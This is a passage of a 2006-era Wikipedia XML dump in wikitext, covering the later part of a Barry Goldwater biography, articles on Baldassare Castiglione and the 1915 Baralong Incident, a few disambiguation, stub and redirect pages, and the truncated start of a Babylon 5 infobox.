Goldwater entered Phoenix politics in [[1949]]. He first won a Senate seat in [[U.S. Senate election, 1952|1952]], when he upset veteran Democratic Senate majority leader [[Ernest McFarland]]. He defeated McFarland again in 1958, but in 1964 ran for president and not for reelection.

The two issues Goldwater became most associated with were reform of the corruption in labor unions, and anti-Communism.  He was an active supporter of the [[Conservative coalition]] in Congress.  His work on labor issues led to major reforms passed by Congress in 1957, and an all-out campaign by the [[AFL-CIO]] to defeat his reelection bid in 1958. He voted against the censure of McCarthy in 1954, but he was much more careful than McCarthy, and never charged anyone with secretly being a Communist agent.  Goldwater emphasized his strong opposition to the spread of worldwide communism in his 1960 book ''[[Conscience of a Conservative|The Conscience of a Conservative]]'', which became a bible in conservative circles. 

Goldwater had a controversial record on [[civil rights]]. Locally he was a supporter of the Arizona [[NAACP]] and was involved in desegregating the Arizona [[United States National Guard|National Guard]]. As a Senator, he was a supporter of the [[Civil Rights Act of 1957]] and [[Civil Rights Act of 1960|1960]].  However, he opposed the much more comprehensive [[Civil Rights Act of 1964]] on the grounds that it was an inappropriate extension of the federal commerce power to private citizens in order to &quot;legislate morality&quot; and restrict the rights of employers. Although conservative Southern Democrats were the main opponents to the Civil Rights Act of 1964 and previous civil rights legislation, his opposition to the Act strongly boosted Goldwater's standing among white southerners. 

In 1964, he fought and won a bitterly contested multi-candidate race for the GOP presidential nomination.  His main challenger was New York Governor [[Nelson A. Rockefeller]], whom he defeated in the California primary. His nomination was challenged by more moderate Republicans who thought his hardline foreign policy stances would come back to haunt him. He lost to [[Lyndon Johnson]] in a landslide, and the Republican party suffered a significant setback nationally, losing many seats in both houses of Congress. Goldwater carried only his home state and five &quot;Deep South&quot; states.

He remained popular in Arizona and in [[U.S. Senate election, 1968|1968 Senate election]] he was elected to an open seat. He served three more terms and retired in 1987, serving as chair of the Senate Intelligence and Armed Services Committees in his final term. Despite his reputation as a firebrand in the [[1960s]], by the end of his career he was considered a stabilizing influence in the Senate, and one of its most respected members of either party. However, Goldwater remained staunchly anti-communist and hawkish on military issues: he led the unsuccessful fight against ratification of the [[Panama Canal Treaty]] in the 1970s, which ceded U.S. control of the canal to the government of [[Panama]]. Goldwater brought suit to challenge the constitutionality of President [[Jimmy Carter]]'s Panama Canal policies in the famous [[United States Supreme Court|Supreme Court]] case of ''[[Goldwater v. Carter]]''.  His most important legislative achievement was the [[Goldwater-Nichols Act]] which reorganized the senior command structure of the military.

Goldwater was a supporter of Wisconsin Senator [[Joseph McCarthy]] to the bitter end (one of only 22 Senators who voted against McCarthy's censure), developed a deep friendship with President John F. Kennedy and a lasting dislike for Lyndon B. Johnson, whom he said &quot;used every dirty trick in the bag&quot;, and Richard Nixon, whom he later called &quot;the most dishonest individual I have ever met in my life&quot; (though he was a key ally of Nixon during Nixon's administration, Goldwater felt deeply betrayed by [[Watergate]]). Goldwater tended to have a caustic wit that cost him popularity in the Republican Party. He once characterized the policies of the Eisenhower administration as a &quot;dime-store new deal&quot;. President Eisenhower once said to him &quot;Barry, you speak too quick and too loud&quot;.

==[[U.S. presidential election, 1964]]==

Before Goldwater, the Republican Party was not clearly committed to conservatism, as the Northeastern liberalism of [[Nelson Rockefeller]] and [[Margaret Chase Smith]] remained vital in the party. He alarmed even some of his fellow partisans with his brand of staunch [[Conservatism#Fiscal conservatism|fiscal conservatism]] and militant [[anti-Communism]]. He was viewed by many traditional Republicans as too far to the [[Right wing|right]] to win a national election and moderate Republicans drafted [[Governor of Pennsylvania|Pennsylvania Governor]] [[William Scranton]] to challenge Goldwater.  Scranton won the support of several state delegations but failed to win the nomination.  After securing the nomination, Goldwater boldly declared in his acceptance speech at the [[1964]] Republican Convention that &quot;…Extremism in the defense of liberty is no vice. And let me remind you also that moderation in the pursuit of justice is no virtue.&quot; (This paraphrase of remarks by [[Cicero]] was included at the suggestion of [[Harry V. Jaffa]], though the speech was primarily written by [[Karl Hess]].) Due to Johnson's popularity, however, Goldwater held back from attacking the president directly: he did not even mention Johnson by name in his convention speech. 

Earlier comments followed Goldwater throughout his campaign. Once he called the [[Dwight D. Eisenhower|Eisenhower]] administration &quot;a dime store [[New Deal]],&quot; and the former president never fully forgave him. Eisenhower did, however, film a TV commercial with Goldwater. When Eisenhower voted for Goldwater in November, he remarked that he had voted not specifically for Goldwater, but rather for the Republican Party. In December 1961, Goldwater told a news conference that &quot;sometimes I think this country would be better off if we could just saw off the [[Eastern Seaboard]] and let it float out to sea.&quot; That comment came back to haunt him during the campaign in the form of a Johnson television commercial, as did remarks about making [[Social Security (United States)|Social Security]] voluntary and selling the [[Tennessee Valley Authority]].

The Goldwater campaign launched the careers of several important conservative figures. [[Ronald Reagan]], once a Democrat, gave a stirring nationally-televised speech, &quot;A Time for Choosing,&quot; in support of Goldwater, which launched his own political career [http://www.americanrhetoric.com/speeches/reaganatimeforchoosing.htm]. Conservative activist [[Phyllis Schlafly]], best known for her fight against the [[Equal Rights Amendment]], first became known for writing a pro-Goldwater book, &quot;A Choice, Not an Echo,&quot; attacking the liberal Republican establishment.

One of the less politically charged Goldwater campaign slogans, used mainly on bumper stickers, read simply &quot;Au H&lt;sub&gt;2&lt;/sub&gt;O 64&quot; (combining the [[chemical symbol]]s for [[gold]] and [[water]]).

Goldwater was painted as a dangerous figure by the Johnson campaign, which countered Goldwater's slogan &quot;In your heart, you know he's right&quot; with the line &quot;In your guts, you know he's nuts.&quot;  Johnson himself did not mention Goldwater in his own acceptance speech at the [[1964 Democratic National Convention]], nor did he [[U.S. presidential election debates|debate]] against Goldwater. 

Goldwater's provocative advocacy of aggressive tactics to prevent the spread of Communism in [[Asia]] led to effective counter-attacks from [[Lyndon Johnson]] and his supporters, who feared that Goldwater's militancy would have dire consequences, possibly even including nuclear war. The Johnson campaign ran a famous [[television commercial]] showing a young girl pulling petals off a daisy while a countdown is heard in the background; &quot;Three&amp;mdash;Two&amp;mdash;One....&quot; Her frolicking is interrupted by the [[mushroom cloud]] of a nuclear explosion. Dubbed ''[[Daisy (television commercial)|Daisy]]'', it warned that Goldwater might start a [[nuclear war]] if elected. The commercial, which featured only a few spoken words of narrative and relied on imagery for its emotional impact, was one of the most provocative moments in American campaign history and is credited by many as being the birth of the modern style of negative television advertising. The ad ran only twice, and only in small local markets, but gained national attention through news coverage. (Goldwater's own rhetoric on nuclear war was viewed by many as quite uncompromising, a view buttressed by off-hand comments such as, &quot;Let's lob one into the men's room at the [[Moscow Kremlin|Kremlin]].&quot;) [http://scoop.agonist.org/story/2004/9/5/13652/16915]

Goldwater did his best to counter the Johnson attacks, criticizing the Johnson administration for its perceived ethical lapses, and stating in a commercial that &quot;...we, as a nation, are not far from the kind of moral decay that has brought on the fall of other nations and people...I say it is time to put conscience back in government. And by good example, put it back in all walks of American life.&quot; Goldwater campaign commercials included statements of support by actor [[Raymond Massey]] and moderate Republican senator [[Margaret Chase Smith]].  

In the end, Goldwater received only 38.4% of the [[popular vote]], and carried only five of the [[U.S. Southern states|Southern states]] ([[Alabama]], [[Georgia (U.S. state)|Georgia]], [[Louisiana]], [[Mississippi]] and [[South Carolina]]) plus (barely) his home state of [[Arizona]]. Johnson won 486 electoral votes to Goldwater's 52 and almost carried Goldwater's Arizona, which gave Goldwater 242,536 votes (50.4%) to Johnson's 237,765 (49.5%).  Goldwater, with his customary bluntness, remarked: &quot;We would have lost even if [[Abraham Lincoln]] had come back and campaigned with us.&quot;

Goldwater maintained later in life that he would have won the election if the country had not been in a state of extended grief, and that it was simply not ready for its third president in fourteen months. It has frequently been argued that Goldwater's strong performance in Southern states previously regarded as Democratic strongholds foreshadowed a larger shift in electoral trends in the coming decades that would make the South a Republican bastion&amp;mdash;first in presidential politics, and eventually at the congressional and state level as well.

==Goldwater and the revival of American conservatism==

Current Arizona Senator [[John McCain]] summed up Goldwater's impact in this way: &quot;[he] transformed the Republican Party from an Eastern elitist organization to the breeding ground for the election of Ronald Reagan.&quot; Historian [[Rick Perlstein]], in his book ''Before the Storm: Barry Goldwater and the Unmaking of the American Consensus'', explained Goldwater's impact on the American political scene by way of analogy:

:&quot;Think of a senator winning the Democratic nomination in the year 2000 whose positions included halving the military budget, socializing the medical system, reregulating the communications and electrical industries, establishing a guaranteed minimum income for all Americans, and equalizing funding for all schools regardless of property valuations&amp;mdash;and who promised to fire [[Alan Greenspan]], counseled withdrawal from the [[World Trade Organization]], and, for good measure, spoke warmly of adolescent sexual experimentation. He would lose in a landslide. He would be relegated to the ash heap of history. But if the precedent of 1964 were repeated, two years later the country would begin electing dozens of men and women just like him. And not many decades later, Republicans would have to proclaim softer versions of those positions to get taken seriously for their party's nomination.&quot;

The Republican Party recovered from the 1964 election debacle, picking up 47 seats in the [[House of Representatives]] in the [[U.S. House election, 1966|mid-term election of 1966]]. Further Republican successes ensued, including Goldwater's return to the [[United States Senate|Senate]] in 1968, although he played little part in the election of [[Richard Nixon]]. Throughout the [[1970s]], as the conservative wing gained influence in the party, Goldwater remained one of its standard-bearers. The columnist [[George Will]] remarked after the [[United States presidential election, 1980|1980 Presidential election]] that &quot;it took 16 years to count the votes [of the 1964 election], and Goldwater won&quot;, demonstrating the extent to which Goldwater was seen as leading the wing.
 
However, by the [[1980s]], with [[Ronald Reagan]] as president and the growing involvement of the [[religious right]] in conservative politics, Goldwater increasingly showed a [[libertarianism|libertarian]] streak that put him at odds with the [[Reagan Administration]] and religious conservatives.  Goldwater viewed [[abortion]] as a matter of personal choice, not intended for government intervention. As a passionate defender of personal liberty, he saw the religious right's views as an encroachment on personal privacy and individual liberties. In his 1980 [[United States Senate|Senate]] re-election campaign, Goldwater won support from religious conservatives but in his final term voted consistently to uphold legalized abortion. Notwithstanding his prior differences with [[Dwight Eisenhower]], Goldwater in a 1986 interview rated him the best of the seven Presidents with whom he had served. 

After his retirement, in 1987, Goldwater described the conservative Arizona Governor [[Evan Mecham]] as &quot;hardheaded&quot; and called on him to resign, and two years later stated the Republican Party had been taken over by a &quot;bunch of kooks&quot;, ''i.e.'', supporters of [[televangelist]] [[Pat Robertson]] and Mecham.  In an 1994 interview with the ''Washington Post'' the retired Senator said, &quot;When you say 'radical right' today, I think of these moneymaking ventures by fellows like [[Pat Robertson]] and others who are trying to take the Republican Party and make a religious organization out of it. If that ever happens, kiss politics goodbye.&quot;

In the [[1990s]] he became more controversial because of statements that aggravated many social conservatives. He endorsed Democrat [[Karan English]] in an Arizona congressional race, urged Republicans to lay off [[Bill Clinton|Clinton]] over the [[Whitewater scandal]], and criticized the military's ban on [[homosexuality|homosexuals]]: &quot;Everyone knows that gays have served honorably in the military since at least the time of [[Julius Caesar]].&quot; He also said, &quot;You don't have to be straight to be in the military; you just have to be able to shoot straight.&quot; He acknowledged, however, that in 37 years of military and reserve service he had not personally known any openly homosexual service members. In 1996 he told [[Bob Dole]], who mounted his presidential campaign with luke-warm support from hard-line conservatives, &quot;We're the new liberals of the Republican Party. Can you imagine that?&quot;

He became known for the occasional, humorous off-color remark; he once told talk-show host [[Jay Leno]] and guest [[Roseanne Barr]] that he planned to get a [[tattoo]] of a lipstick pucker &quot;right on my ass.&quot;

==Photography==

Goldwater also was an accomplished amateur [[photographer]] and at his death left some 15,000 of his images to three Arizona institutions. 

For decades, he contributed photographs of his home state to ''[[Arizona Highways (magazine)|Arizona Highways]]'' and was best known for his Western landscapes and pictures of [[native Americans in the United States]]. Three books with his photographs are ''People and Places'', from 1967; ''Barry Goldwater and the Southwest'', from 1976; and ''Delightful Journey'', first published in 1940 and reprinted in 1970.  [[Ansel Adams]] wrote a foreword to the 1976 book. (''Arizona Republic'', [[May 31]], [[1998]])

==Goldwater and UFOs==
Goldwater was one of the more prominent American politicans to openly show an interest in [[UFO]]s. 

He replied to several letters from his constituents, regarding UFO-related questions, dating to at least as early as 1974. In an official letter printed on U.S. Senate letterhead, dated [[March 28]], [[1975]], Goldwater wrote to Shlomo Arnon: &quot;The subject of UFOs has interested me for some long time. About ten or twelve years ago I made an effort to find out what was in the building at [[Wright-Patterson Air Force Base]] where the information has been stored that has been collected by the Air Force, and I was understandably denied this request. It is still classified above [[Top Secret]].&quot; Goldwater further wrote that there were rumors the evidence would be released, and that he was &quot;just as anxious to see this material as you are, and I hope we will not have to wait much longer.&quot;[http://www.anomalies.net/archive/Text-Archive/txt1/469.ufo]

The [[April 25]], [[1988]] issue of ''[[The New Yorker]]'' carried an interview with Goldwater, wherin he elaborated on the account hinted at in the letter to Arnon. Goldwater says he repeatedly asked his friend, Gen. [[Curtis LeMay]], if there was any truth to the rumors that UFO evidence was stored in a secret room at [[Wright Patterson Air Force Base]], and if he (Goldwater) might have access to the room. According to Goldwater, an angry LeMay gave him &quot;holy hell&quot; and said, &quot;Not only can't you get into it but don't you ever mention it to me again.&quot; 

In a 1988 interview on [[Larry King]]'s radio show, Goldwater was asked if he thought the U.S. Government was witholding UFO evidence; he replied &quot;Yes I do,&quot; and added that he believed there were alien life forms.[http://www.anomalies.net/archive/Text-Archive/txt1/672.ufo]

==Death==
Goldwater's public appearances stopped in late 1996 after he suffered a stroke; family members said he was in the early stages of [[Alzheimer's disease]].

Goldwater died on [[May 29]], [[1998]] at the age of 89 in [[Paradise Valley, Arizona]], of complications from the stroke.

==Goldwater Scholarship==
The Barry M. Goldwater Scholarship and Excellence in Education Program was established by Congress in 1986 to honor Senator Barry M. Goldwater, who served his country for 56 years as a soldier and statesman, including 30 years of service in the U.S. Senate. The purpose of the Foundation is to provide a continuing source of highly qualified scientists, mathematicians, and engineers by awarding scholarships to college students who intend to pursue careers in these fields.

The Scholarship is widely considered the most prestigious award in the U.S. conferred upon undergraduates studying the sciences and is awarded to about 300 students (college sophomores and juniors) nationwide in the amount of $7500 per academic year (for their senior year, or junior and senior years).

==Sources==
* Edwards, Lee. ''Goldwater'' (1995).
* Goldberg, Robert Alan. ''Barry Goldwater'' (1995)
* Perlstein, Rick. ''Before the Storm: Barry Goldwater and the Unmaking of the American Consensus''  (2001) New York: Hill and Wang. ISBN 080902859X. On the 1964 campaign.
*''The New Yorker'', [[April 25]], [[1988]], p 70

==Books==

* ''[[Conscience of a Conservative|The Conscience of a Conservative]]'' (1963) speeches ([[ghostwriter|ghostwritten]] by [[Brent Bozell|L. Brent Bozell]]). ISBN 1568491409 (orignal is ASIN B000B9WB16)
*''Why Not Victory?'' (1963) ASIN B0007H8W42
*''Conscience of a Majority'' (1971) ISBN 0671780964
*''Arizona'' (1977) ISBN 0938379046
* ''With No Apologies: The Outspoken Political Memoirs of America's Conservative Conscience'' (1979) ISBN 042504663X
* ''Goldwater'' (1988) ISBN 0385239475

== External links ==
{{wikiquote}}
*[http://www.goldwaterinstitute.org/ The Goldwater Institute advances the principles of free enterprise, individual responsiblity, and constitutionally-limited government, espoused by Senator Goldwater.]
*[http://www.washingtonpost.com/wp-srv/politics/daily/may98/goldwaterspeech.htm/ Goldwater's 1964 acceptance speech at the Republican Convention] - the 'extremism in the defense of liberty' speech.
*[http://www.azcentral.com/specials/goldwater/ Extended &quot;in memoriam&quot; reporting from the ''Arizona Republic'']
*[http://www.act.org/goldwater/ Goldwater Scholarship Homepage]

{{start box}}
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{{USRepPresNominees}}

[[Category:1909 births|Goldwater, Barry]]
[[Category:1998 deaths|Goldwater, Barry]]
[[Category:American World War II veterans|Goldwater, Barry]]
[[Category:United States Air Force generals|Goldwater, Barry]]
[[Category:People from Arizona|Goldwater, Barry]]
[[Category:Republican Party (United States) presidential nominees|Goldwater, Barry]]
[[Category:Episcopalians|Goldwater, Barry]]
[[Category:Presidential Medal of Freedom recipients|Goldwater, Barry]]
[[Category:United States Senators from Arizona|Goldwater, Barry]]
[[Category:University of Arizona]]
[[Category:Amateur radio people|Goldwater, Barry]]
[[Category:Sigma Chi brothers|Goldwater]]
[[Category:Freemasons|Goldwater]]


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  <page>
    <title>Baldassare Castiglione</title>
    <id>4793</id>
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      <text xml:space="preserve">'''Baldassare Castiglione''', count of Novellata ([[December 6]], [[1478]] &amp;ndash; [[February 2]], [[1529]]), was a [[diplomat]] and one of the most important [[Renaissance]] [[author]]s. 

[[Image:Castiglione.jpg|right|thumb|Baldassare Castiglione]]

He was born in Casatico, near [[Mantua]], [[Italy]] to an ancient family from [[Lombardy]] that had moved to there at the time of [[marquis]] [[Lodovico Gonzaga]], a relative of Luigia Gonzaga, [[mother]] of Castiglione. 

In 1494, at the age of 16, Castiglione began his humanistic studies in Milan, which would eventually aid him in future writings. However, in [[1499]], after the death of his [[father]], Castiglione left his studies and Milan to succeed his father in the familial duties as the head of a [[noble family]]. Soon his duties seem to have included representative offices for the court; for instance, he accompanied his marquis for the arrival in Milan of [[Louis XII of France|Louis XII]]. For Gonzaga he travelled quite often; during one of his missions to [[Rome]], he met [[Montefeltro|Guidubaldo da Montefeltro]], duke of [[Urbino]], and in 1504  Gonzaga, although reluctant, allowed him to pass to that court.

Urbino was at that time the most refined and elegant among Italian courts, a real meeting point of culture superbly directed and managed by duchess [[Gonzaga|Elisabetta Gonzaga]] and her sister-in-law [[Maria Emilia Pia]]. The most constant guests included: [[Pietro Bembo]], [[Giuliano di Lorenzo de' Medici|Giuliano de' Medici]], [[Cardinal Bibbiena]], Ottaviano and [[Federico Fregoso]], [[Cesare Gonzaga]] (a cousin of both Castiglione and the duke), and many others. The hosts and guests organised intellectual competitions which resulted in an interesting, stimulating cultural life producing brilliant literary activity.

In [[1506]], Castiglione wrote (and played together with [[Cosimo Gonzaga]]) his eclogue ''Tirsi'', in which allusively, beyond the figures of three shepherds, he originally depicted the court of Urbino. The work contains echoes of both ancient and contemporary poetry, recalling [[Poliziano]] and [[Sannazzaro]] as well as  [[Virgil]],.

Castiglione wrote about his works and of those of other guests in some letters to other princes, maintaining an activity very near to diplomacy, though in a literary form, like with [[Ludovico da Canossa]].

[[Francesco Maria della Rovere]] succeeded as duke at Guidubaldo's death, and Castiglione remained at his court; with Francesco Maria, he took part in [[Pope Julius II]]'s expedition against [[Venice]] (an episode in the [[Italian Wars]]) and for this he received the title of conte di [[Novellata]], near Pesaro. When [[Pope Leo X]] was elected, Castiglione was sent to [[Rome]] as an ambassador of Urbino.  In Rome he shared friendship with many artists and writers; among these, [[Raphael]] soon became a close friend of his, frequently asking for his suggestions. Raphael gratefully painted a [[Portrait of Balthasar Castiglione (Raphael)|famous portait of Castiglione]] that now is at the [[Louvre]], ([[Paris]]).

In [[1516]], Castiglione was back in Mantua, where he married [[Ippolita Torelli]], descendant of another ancient noble family. He wrote two passionate letters to her, expressing a deep sentiment, but she unfortunately died only 4 years later, when Castiglione was in Rome again as an ambassador, this time for Mantuan Dukes. In [[1521]], Pope Leo X conceded him the ''tonsura'' (first sacerdotal ceremony), and thereupon began Castiglione's second, ecclesiastical career.

In [[1524]], [[Pope Clement VII]] sent him to [[Spain]] as ''nuncius apostolicus'' (ambassador of the [[Holy See]]) in Madrid, and in this role he followed [[Charles V, Holy Roman Emperor|Charles V]] to [[Toledo, Spain|Toledo]], [[Sevilla]], and [[Granada]]. At the time of the [[Sack of Rome]], the Pope suspected him of &quot;special friendship&quot; for the  Spanish emperor Charles: effectively Castiglione should have informed the Holy See about the intentions of [[Charles V, Holy Roman Emperor|Charles V]], it was his duty to investigate what Spain was planning against the Eternal City. 
On the other side, [[Alonso de Valdes]] (brother of Juan de Valdes and the [[secretary]] of the emperor) publicly declared that the ''Sacco'' was a divine punishment for the too many [[sin]]s of [[clergy]].

Castiglione, in an undoubtedly uncomfortable position, answered both, the Pope and Valdes, in two famous letters from [[Burgos]]. Valdes received a very long and severe letter in which the nuncius used hard terms to define the ''Sacco'' and Valdes' comments.
The Pope received instead a letter (dated [[December 10]], [[1527]]) in which Castiglione dared to underline that several aspects of [[Holy See|Vatican]] [[politics]] were ambiguous and contradictory, not at all a valid support in his action of pursuing a fair agreement with the Empire; this lack of coherence in the Church's actions had therefore irritated Charles V, was the sense of his argument.

Against any expectation, he received the excuses of the Pope and great honours by the emperor. Today it seems quite certain that Castiglione had no responsibility in the ''Sacco'', and he had played honestly his role in Spain. Also, a popular story about his death due to remorse found no confirmation: he died by [[Black Death]].

In [[1528]], the year before his death, the book by which he is most famous, ''[[The Book of the Courtier]]'' (''[[Il Cortegiano]]''), was published in Venice by Andrea d'Asolo (father-in-law of [[Aldus Manutius]]). The book is based upon Castiglione's times at the court of [[Duke Guidobaldo Montefeltro]] of Urbino. It describes the ideal [[noble court|court]] and [[courtier]], going into great detail about the [[philosophy|philosophical]] and cultured discussions that occurred at Urbino. The book defined the ideal Renaissance gentleman. In the [[Middle Ages]], the perfect gentleman was a [[chivalry|chivalrous]] knight who distinguished himself by his prowess on the battlefield. Castiglione's book changed that; now the perfect gentleman had to be educated in the classics as well. The book was soon translated into [[Spanish (language)|Spanish]], [[German (language)|German]], [[French (language)|French]], and [[English (language)|English,]] and 108 editions were published between 1528 and [[1616]].   [[Pietro Aretino]]'s ''La cortigiana'' is a [[parody]] of this famous work.

Castiglione's minor works are less known, yet still interesting. Love sonnets and four ''Amorose canzoni'' he wrote with reference to his [[Platonic love]] for Elisabetta Gonzaga, with a style that recalls very intensively [[Francesco Petrarca]]'s through [[Pietro Bembo]]'s ones. Pre-romantics will find in his sonnet ''Superbi colli e voi, sacre ruine'' a focal inspiration, however more written by the [[man of letters]] than by the poet.
Latin poems are to be remembered, together with his elegy for the death of Raphael ''De morte Raphaellis pictoris'' , and the other elegy in which he imagined his wife (dead) was writing him.  In Italian prose is remembered a prologo for Bibbiena's ''Calandria''.

His letters are another point of interest, describing not only the man and his personality, but also details about the famous people he met and frequented, or about his diplomat activity; they are considered very important for political, literary, and historical studies.

He died in [[Toledo, Spain]].

 

[[Category:1478 births|Castiglione]]
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[[Category:Italian Renaissance authors|Castiglione]]
[[Category:Italian writers|Castiglione]]
[[Category:Italian diplomats|Castiglione]]
[[Category:Natives of Mantua|Castiglione]]
[[Category:Rhetoricians|Castiglione, Baldassare]]

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  <page>
    <title>Baralong Incident</title>
    <id>4794</id>
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      <minor />
      <comment>Removed extra &quot;they&quot;</comment>
      <text xml:space="preserve">The '''Baralong Incident''' was a naval engagment of the [[World War I|First World War]] on [[August 19]], [[1915]] involving [[HMS Baralong|HMS ''Baralong'']], the  [[Unterseeboot 27|UB-27]], and the transport ''Nicosian''.  Lieutenant [[Godfrey Herbert]] RN of the HMS ''Baralong'' sank UB-27 which had been preparing to sink a nearby transport ship. About a dozen of the sailors manage to escape the sinking submarine, and Herbert, fearing they would scuttle the ''Nicosian'', ordered the sailors to be shot at as they swam towards the transport and then sent a boarding party aboard that ship to prevent any attempts at sinking it.

It has been a controversial event, and many historians agree it was a [[war crime|violation of protocol]] to order the sailors attacked. Other historians debate this analysis (such as if the order was a violation), or debate aspects of the records, and have been either harsher or more lenient. There are widely available German, British, and American records, which all agree on certain facts, but there are a number of details of the incident which may or may not have been fabricated from a less notable or extensive violation. 

These mostly center on the number of people that actually escaped the sinking sub, to be killed later, and if the captain was actually right to order the crew that did escape attacked and was not willing to freighter cargo, and any civilians that were still aboard it. Also, it is not known to what extent the escaping sailors had made an effort to surrender, as soldiers that attempt to flee are generally shot at in a time of war. 

It should be noted submarine crews on both sides were not treated well since they did not generally take prisoners of ships they sunk either, as there were no accommodations onboard a submarine for this, and in [[Unrestricted submarine warfare]]. Survival would depend on other ships being around to rescue, or on occasion, if it was possible, to get into lifeboats. Poor treatment of an enemy who used what was viewed as a more cruel weapon was common, for example, the soldiers who operated [[flame-thrower]]s in WWI were many times not taken prisoner, but killed, to discourage the use of it. 

On [[August 19]], [[1915]], about 100 miles south of [[Queenstown, Ireland]], U-27, commanded by ''Kapitänleutnant'' [[Wegener]], stopped the British steamer ''Nicosian'' In accordance with the rules laid down by the [[London Treaty]]. U-27 discovered that ''Nicosian'' was carrying munitions and 250 American mules intended for the use of the British army in France.  The freighter's crew and passengers had abandoned their ship in lifeboats, and the U-boat was preparing to sink the freighter when the [[Q-Ship]] ''Baralong'', commanded by Lieutenant Godfrey Herbert, which was disguised as a cargo vessel and was flying the [[Stars and Stripes]], arrived on the scene. Herbert would not have been aware that the ship was only filled with mules though, nor that the crew had mostly been evacuated.

The U-boat, knowing that the [[United States]] was neutral, remained on the surface until ''Baralong'' opened fire at a range of 600 yards and quickly sank U-27.  In Herbert's report to the Admiralty, he stated that he feared the survivors from the U-boat's crew would board the freighter and scuttle it, so he ordered the twelve [[Royal Marines]] on board his ship to shoot the survivors in the water.  Four U-boat crewman succeeded in climbing the ladders still hanging from ''Nicosian''’s sides, so Herbert sent a boarding party of marines to ''Nicosian'', who killed the sailors. 

If the escaping crew had in fact scuttled the freighter, not only would the lives of the civilian crew of the freighter been in danger but it could be counted as negligence on the part of the captain to have allowed the freighter to be scuttled. Only moments before ''Baralong'' began her attack, the submarine had been preparing to sink the freighter. As she sank, there were only moments to decide between continuing the attack or to cease fire, and risk the freighter being scuttled. It is not known if the escaping sailors had in fact intended to scuttle the freighter.

The Admiralty, upon receiving Herbert's report, immediately ordered its suppression (though it was not destroyed and is now available), but the American mule drivers, who had watched the sequence of events from their lifeboats, returned to the United States and told the American press that the British, while flying the [[flag of the United States]], had murdered the German sailors.

The German government demanded that Herbert be tried for murder, but the British government dismissed the charges, offering explanations that the ''Baralong'' crew may have been upset because eight British steamers had been sunk that day on the [[Western Approaches]], and ''Baralong'' may have heard their calls for help. 

The outrage the Baralong incident aroused in Germany was used by the [[Kaiserliche Marine]] to justify increased cruelty at sea during [[World War I]] and especially in [[World War II]] under [[Nazi Germany]]. A [[Kriegsmarine]] submarine flotilla formed on [[June 25]], [[1938]], was named &quot;Wegener&quot; in memory of this incident.

==See also==
*[[Unrestricted submarine warfare]]
*[[Merchant raiders]]
*[[Commerce raiding]]
*[[Tonnage war]]

== References == 
Massie, Robert K.: ''Castles of Steel: Britain, Germany, and the Winning of the Great War at Sea''. 2003, Random House, New York.

[[Category:World War I]]
[[Category:U-boats involved in international incidents]]</text>
    </revision>
  </page>
  <page>
    <title>Banda</title>
    <id>4795</id>
    <revision>
      <id>37042801</id>
      <timestamp>2006-01-28T04:31:36Z</timestamp>
      <contributor>
        <username>*drew</username>
        <id>91902</id>
      </contributor>
      <minor />
      <comment>+id:</comment>
      <text xml:space="preserve">'''Banda''' may refer to:
*the off-stage musicians in many [[opera]]s, such as in ''[[Don Giovanni]]'',  ''[[Rigoletto]]'' or ''[[Aida]]'' or the costumed musicians on-stage, as in the   festivities of ''[[L'Elisir d'Amore]]'' or ''[[Carmen]]''.
*[[Banda music]] - traditional [[Music of Mexico|Mexican music]].
*[[Banda Islands]], [[Banda Aceh]] or [[Banda Sea]] in [[Indonesia]].
*[[Banda, India|Banda City]] and [[Banda_District]] in [[India]]. 
*[[Hastings Banda]], former [[president]] of [[Malawi]].
*[[Banda, Ghana|Banda town]] in [[Ghana]].
*[[Banda (CAR)|Banda people]] of the [[Central African Republic]].
*[[spirit duplicator|Banda machine]], a type of copying machine also known as a ditto machine or spirit duplicator

{{disambig}}

[[id:Banda]]</text>
    </revision>
  </page>
  <page>
    <title>Bladder</title>
    <id>4796</id>
    <revision>
      <id>26172895</id>
      <timestamp>2005-10-22T09:23:55Z</timestamp>
      <contributor>
        <username>Robodoc.at</username>
        <id>43492</id>
      </contributor>
      <minor />
      <comment>de:</comment>
      <text xml:space="preserve">* A '''bladder''' is a pouch or other flexible enclosure with waterproof or gasproof walls. 
* In the context of [[animal]]s and [[anatomy]], &quot;bladder&quot; usually refers to the  '''[[urinary bladder]]'''. The term is generic and can also be used for other enclosures, such as the [[gallbladder]]. 
* [[Zeppelin]]s are kept buoyant by '''gas bladders''', as are many species of [[kelp]].

{{disambig}}

[[de:Blase]]
[[nl:Blaas]]</text>
    </revision>
  </page>
  <page>
    <title>Bob Young</title>
    <id>4797</id>
    <revision>
      <id>35989311</id>
      <timestamp>2006-01-20T19:16:17Z</timestamp>
      <contributor>
        <ip>24.59.196.38</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Bob_young.jpg|right|frame|Bob Young]]
'''Robert &quot;Bob&quot; Young''' was born in [[Ancaster, Ontario]], [[Canada]] and graduated from the [[University of Toronto]]. He created the [[ACC Corporation]] which merged with [[Red Hat]] in [[1995]]. From the merger to [[1999]] Bob Young was Red Hat's CEO. After leaving Red Hat he started [[Lulu.com]], a self-publishing web-site that claims to be the world's fastest-growing provider of print-on-demand books. He is [[Lulu.com]]'s CEO. He also owns the [[Hamilton Tiger-Cats]], [[Hamilton, Ontario]]'s [[Canadian Football League]] franchise.

{{canada-bio-stub}}
[[Category:Canadian businesspeople|Young, Bob]]
[[Category:Red Hat|Young, Bob]]
[[Category:University of Toronto alumni|Young, Bob]]</text>
    </revision>
  </page>
  <page>
    <title>Bronze age</title>
    <id>4798</id>
    <revision>
      <id>15903051</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bronze Age]]
</text>
    </revision>
  </page>
  <page>
    <title>Bicameral mind</title>
    <id>4799</id>
    <revision>
      <id>18276796</id>
      <timestamp>2005-07-06T19:25:42Z</timestamp>
      <contributor>
        <username>The Tom</username>
        <id>12499</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bicameralism (psychology)]]</text>
    </revision>
  </page>
  <page>
    <title>Babylon 5</title>
    <id>4800</id>
    <revision>
      <id>41948913</id>
      <timestamp>2006-03-02T20:50:56Z</timestamp>
      <contributor>
        <username>Shsilver</username>
        <id>637</id>
      </contributor>
      <comment>/* Concept */ avoid redirect</comment>
      <text xml:space="preserve">{{infobox television |
| show_name = Babylon 5
| image = [[Image:Smb5-s4.jpg|200px|Season 4 poster]]
| caption = Season 4 poster
| format = [[Science fiction]]
| runtime = 42 minutes
